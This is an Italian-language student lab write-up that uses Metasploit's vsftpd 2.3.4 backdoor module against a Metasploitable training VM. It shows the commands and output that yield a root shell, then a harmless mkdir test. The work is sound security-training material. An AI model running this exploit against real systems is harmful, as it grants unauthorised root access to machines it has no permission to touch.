W15D4 - Hacking Metasploit

cerchiamo di hackerare la macchina Metasploitable (ip 192.168.50.101) con Metasploit sul servizio vsftpd

come vediamo sotto con msfconsole avviamo Metasploit e search per cercare appunto dove si trova il path del servizio

```
msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  R
   -  ----                                  ---------------  -
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       n
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       e
```

con use 1 selezionamo quello che vorremmo utilizzare in questo caso il vsftpd_backdoor e come potremo vedere, con show options vediamo le impostazioni del servizio

```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format t
                                       5h
   RHOSTS                    yes       The target host(s), see h
   RPORT    21               yes       The target port (TCP)
```

settiamo RHOSTS (remote hosts) con l'ip di Metasploitable, options per fare un check

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS ⇒ 192.168.50.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:ho
                                       5h
   RHOSTS   192.168.50.101   yes       The target host(s), see https:/
   RPORT    21               yes       The target port (TCP)
```

settiamo anche il payload e possiamo lanciare il comando run

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload ⇒ cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:40583 → 192.168.50.101:6200) at 2025-11-03 14:19:18 -0500
```

come possiamo vedere riesce a trovare una shell quindi possiamo utilizzare la shell della macchina Metasploitable

pwd per vedere il path in cui siamo, in questo caso siamo in root (/)

```
pwd
/
```

e possiamo fare una prova creando una directory con mkdir e come possiamo poi vedere, con ls, abbiamo creato la directory test_metasploit

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```